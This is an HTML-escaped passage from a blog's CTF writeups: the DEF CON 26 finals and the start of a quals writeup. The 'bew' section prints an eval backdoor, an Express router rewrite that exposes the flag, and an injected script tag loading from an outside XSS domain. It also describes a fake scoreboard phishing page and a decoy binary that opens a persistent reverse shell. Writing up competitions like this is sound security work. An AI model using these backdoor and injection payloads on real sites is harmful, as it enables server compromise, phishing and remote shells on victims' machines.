class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DAT_BEST_BACK_DOOR_SECRET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Meanwhile &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; figured out that he could modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;express&lt;/code&gt; web server handler chain to do all sorts of fun things. First he figured out how to take down all the pages, then how to add a backdoor flag page by mounting root as a public directory, then how to change responses to ones of our choosing.&lt;/p&gt;

&lt;p&gt;I talked this with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and we realized this was so absurdly easy and powerful that the organizers couldn’t have thought of it. We realized we could insert a backdoor that let us get the flag and then close the door to all the other teams, with the only weakness being if another team realized this and closed the door first. If no other teams figured this out and beat us then we would get all the flags and no other team would get any, we could also close our own door without inserting the backdoor.&lt;/p&gt;

&lt;p&gt;We took this plan to the evening team meeting and then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bool&lt;/code&gt; (team founder Steve Vittitoe) came up with an amazing idea: Not only do we backdoor and close the door, but we add a script to all the pages that turns the page into a fake scoreboard on blur with a fake new challenge that gives us a reverse shell on their machine! After a moment of silence as we were struck by the brilliance of his idea, we enthusiastically started brainstorming our plan.&lt;/p&gt;

&lt;p&gt;We realized that if we were lucky and were the only team to figure this out, we needed to not leak our exploit publicly so other teams could immediately figure it out themselves. So I started by developing a thrower script for our exploits that could be run automatically and would ensure a team was backdoored and the door was closed without leaking our exploit in case of a patched team that accepted all submissions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Check our flag backdoor, if it’s there we’re done.&lt;/li&gt;
  &lt;li&gt;Submit a canary piece of bogus JS code that used all the syntactic constructs our exploits used, if it went through then submitting our exploits would leak them, so abandon.&lt;/li&gt;
  &lt;li&gt;Install the backdoor express chain rewriting code.&lt;/li&gt;
  &lt;li&gt;Check that we can retrieve the flag, if not bail and log an error.&lt;/li&gt;
  &lt;li&gt;Close the door and check that the door was successfully closed and log if not.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Next I worked on improving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt;’s payload to place the flag backdoor at a less obvious place than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag&lt;/code&gt; which required some URL rewriting and also crafting an Express chain rewriting payload based on his research that could insert a script tag into all pages without modifying the rest of the page. This is the payload I ended up with:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Part 1: exposes the flag at /flagaaa&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mainModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;children&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;children&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mainModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;children&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;handle&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Part 2: replaces &amp;lt;/body&amp;gt; with our script tag on every response&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mainModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;children&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;handle&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oldSend&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;body&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;script src=&apos;https://our-xss-domain.redacted/ourpayload.js&apos;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;oldSend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then I worked on the actual XSS payload which used a giant inline JS backtick string with our fake scoreboard HTML and a short snippet which overwrote the whole page with our fake one, including a favicon, and also fixed the URL to be just the IP address, knowing nobody would notice the difference between the scoreboard IP address and the challenge IP address:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onblur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;history&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pushState&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;scoreboard&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DC26 CTF&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;newpage2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While I had been doing all this, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bool&lt;/code&gt; had whipped up a domain and server to host the XSS and fake challenge payloads, as well as completely replicating the official scoreboard’s appearance but with an extra challenge. He also added a red notice about the new challenge, which hadn’t happened for any of the real challenges, but we figured it made it more likely people would fall into it rather than less. He also set up a server to receive and manage any reverse shell connections we got.&lt;/p&gt;

&lt;p&gt;Meanwhile &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; worked on a fake challenge binary that would spin off a reverse shell that would persist even if the challenge binary was killed. For fun he also created a bunch of fake reversing steps that made it seem like an actual challenge binary and made it difficult to notice it was a reverse shell.&lt;/p&gt;

&lt;p&gt;By this point it was 4am and we were tired after our 2nd consecutive 20 hour day so we went to sleep. We woke up just before the contest opened again, and I got ready to throw our door closer at our own server manually since we had only automated the throwing at other teams.&lt;/p&gt;

&lt;p&gt;But our worst fears came true and total victory was snatched from our grasp by a faster team! I threw the door closer at our own server shortly after opening and found that our canary went through when it shouldn’t. I checked with some other test payloads and sure enough, it seemed that some other team had closed our door on us, presumably after backdooring our server and all the others for themselves. It also turns out the exploit payload had errored in our automated thrower at minute 0 so we hadn’t slipped in to any teams first.&lt;/p&gt;

&lt;p&gt;Shortly later the contest organizers realized or were informed of their oversight about persistent exploits and they put in a workaround of restarting the servers every couple minutes to give all teams a chance to slip in. After streamlining my thrower to not be cautious and be faster since clearly lots of other teams knew about the problem and were already leaking their exploits, we managed to regularly slip into a few teams servers each restart.&lt;/p&gt;

&lt;p&gt;Soon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bool&lt;/code&gt; started to see hits on his XSS server. We were pretty happy it was finally working. One team even downloaded our fake challenge binary, but unfortunately they don’t seem to have run it.&lt;/p&gt;

&lt;p&gt;It wasn’t the glorious victory of monopolizing the flags and owning dozens of machines that we’d dreamed of, but we still got some people and were really proud of our clever plan and exploits. We were really happy when after the contest we talked to one of the organizers and they said they loved our idea and that actually multiple teams had come up to them and asked why the new challenge on the website wasn’t up on the projector screens! The organizer didn’t even realize it was a trick originally and went and asked another organizer if they had released a new challenge accidentally!&lt;/p&gt;

&lt;h1 id=&quot;reeducation&quot;&gt;reeducation&lt;/h1&gt;

&lt;p&gt;In the last two hours of the contest, I took a look at the new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reeducation&lt;/code&gt; challenge. This was an attack/defend binary challenge that appeared to have been written in Rust.&lt;/p&gt;

&lt;p&gt;My teammates had already run a Rust demangler on the symbols and had identified some interesting functions including one including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interpret&lt;/code&gt; and determined that we could submit a payload to the service and it would run it through the interpreter.&lt;/p&gt;

&lt;p&gt;While they worked on reverse engineering the stages leading to the interpreter I looked at the interpreter in Binary Ninja and used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; to test the binary and figure out which registers contained the payload and length. I figured out that each “instruction” was two 64 bit words where if the instruction was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(a,b)&lt;/code&gt; it seemed to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mem[a] -= mem[b]&lt;/code&gt; on the same memory array containing the code (allowing self modification).&lt;/p&gt;

&lt;p&gt;I also discovered with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; that the flag was placed in memory immediately after the submitted code. I also learned from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; that the length register contained 1024 which was the length of the payload in bytes, but in Binary Ninja I saw the bounds checking code was treating that length as the length in 64 bit words. This allowed the payload to access 8 times the memory it should have been able to without triggering an out of bounds error, including the flag! This looked to be the intended vulnerability, I’m guessing caused by incorrect use of Rust’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vec::from_raw_parts&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slice::from_raw_parts_mut&lt;/code&gt; passing in the byte length instead of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u64&lt;/code&gt; length, an example of how if you use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe&lt;/code&gt; functions wrong in Rust, it can lead to vulnerabilities!&lt;/p&gt;

&lt;p&gt;At this point I went and found some teammates in the hotel also working on the problem and shared all the knowledge I hadn’t already posted on Slack. They had figured out that the payload we submitted had to contain only bytes of below a certain value. We figured out we had all the knowledge we needed to write an exploit, but we only had 40 minutes of contest left, which was likely not enough.&lt;/p&gt;

&lt;p&gt;My teammates started on an exploit script and I helped out occasionally, figuring out that we could use self-modifying code to access offsets that wouldn’t otherwise make it through the byte value filter. Unfortunately we didn’t have enough time to get a working exploit together.&lt;/p&gt;

&lt;p&gt;However, while they were working on that I worked on developing a patch. In Binary Ninja I figured out that just underneath the code that initially retrieved the length there was a right shift that divided by 8 for use by some other part of the code. I used Binary Ninja’s patching functionality to fix that code to replace the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov, shr&lt;/code&gt; with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shr, mov&lt;/code&gt; sequence of the same length that shifted the main length register and then copied it into the other register. The idea was this would fix the length to be the correct length to not allow out of bounds indexing to reach the flag. I posted my 7 byte patch in the Slack channel and one of the people on the floor submitted a patched binary using their better networking 15 minutes before the end of the contest. Unfortunately, the scoreboard was hidden for the final day of the contest so although my patch passed the tests, I don’t know if it actually succeeded in getting us a few extra defense points in the final couple ticks.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;I had a ton of fun, and my team (Samurai) ended up coming 11th, which although it isn’t as good as our first place finish in the qualifiers, is pretty good considering how high level the competition at the event was. I think the real victory though was our awesome fake challenge XSS exploit for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bew&lt;/code&gt;, that was really fun to pull off. I also learned a bunch more about competing in CTFs from my awesome teammates!&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Winning the DEF CON Quals CTF! Writeups: Easy Pisy, Flagsifier, Geckome</title>
   <link href="https://thume.ca/2018/05/13/winning-def-con-quals-writeups/"/>
   <updated>2018-05-13T00:00:00+00:00</updated>
   <id>https://thume.ca/2018/05/13/winning-def-con-quals-writeups</id>
   <content type="html">
&lt;p&gt;A friend invited me to join his CTF team (&lt;a href=&quot;https://ctftime.org/team/1937&quot;&gt;Samurai&lt;/a&gt;) this year for the Plaid CTF and the DEF CON qualifiers and I thought that sounded fun and wanted to learn more security and reverse engineering, so I did. For Plaid I just spent a couple hours tinkering with a few problems with my main accomplishment being reverse engineering a complicated APL program. For DEF CON I decided to go all out and dedicate my entire weekend to it. I had a really great time, and &lt;a href=&quot;https://scoreboard.oooverflow.io/#/scoreboard&quot;&gt;we won&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;I solved three problems mostly by myself: Easy Pisy, Flagsifier and Geckome. The last two were the 6th and 1st least-solved challenges in the game, and the less people solved a challenge the more points it was worth. This corresponds a little to how much work was required, but also to how many lucky/clever/random insights are required, and how much effort other teams decided to put in. I’d say Flagsifier was genuinely tricky but Geckome, the least-solved challenge, was mostly luck and good tactics and wasn’t much work compared to many other challenges.&lt;/p&gt;

&lt;p&gt;I spent the last 4 hours of the CTF working on a solution to “adamtune”, and I finished a whole bunch of work that did what I intended, it just turned out the results weren’t very good. The way the problem worked it was impossible to tell ahead of time whether my approach would be good enough, so I just had to spend the time and it didn’t pan out. Now that &lt;a href=&quot;https://github.com/o-o-overflow/chall-adamtune/blob/master/src/adamtune.py&quot;&gt;the source&lt;/a&gt; has been posted, it seems like my basic approach was correct, and that if I had used the Watson speech to text API instead of the Google one it may have given me the extra info I needed to make a good solution.&lt;/p&gt;

&lt;p&gt;I also contributed a bit to discussion and reverse engineering on a few other problems, including “It’s-a me!”, “Tech Support” and “exzendtential-crisis”.&lt;/p&gt;

&lt;p&gt;Without further ado, here’s my writeups for the problems that I solved:&lt;/p&gt;

&lt;h2 id=&quot;easy-pisy&quot;&gt;Easy Pisy&lt;/h2&gt;

&lt;p&gt;A web app gave us the ability to sign a PDF and then submit a signed PDF. There was accessible source for the PHP scripts and sample PDFS. The source and examples showed that the PDF’s could contain two possible commands: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECHO&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXECUTE&lt;/code&gt; (which runs a shell command). The signing script would only sign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECHO&lt;/code&gt; PDFs so you couldn’t trivially execute any command.&lt;/p&gt;

&lt;p&gt;Running one of the sample PDFs through showed the commands being run included converting the PDF to a PPM file and then running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ocrad&lt;/code&gt; (an OCR tool) to extract the text out of them.&lt;/p&gt;

&lt;p&gt;One of the example PDFs ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXECUTE ls&lt;/code&gt; and came with a signature, it showed there was a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag&lt;/code&gt; file in the working directory.&lt;/p&gt;

&lt;p&gt;So the problem was how to get a signed PDF that shows the text &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXECUTE cat flag&lt;/code&gt;, when we could only sign a PDF that had an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECHO&lt;/code&gt; command. This sounded a lot like it could involve the recent-ish PDF SHA1 collision. A quick check of the PHP docs showed that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl_verify&lt;/code&gt; function they used defaults to using SHA1 signatures!&lt;/p&gt;

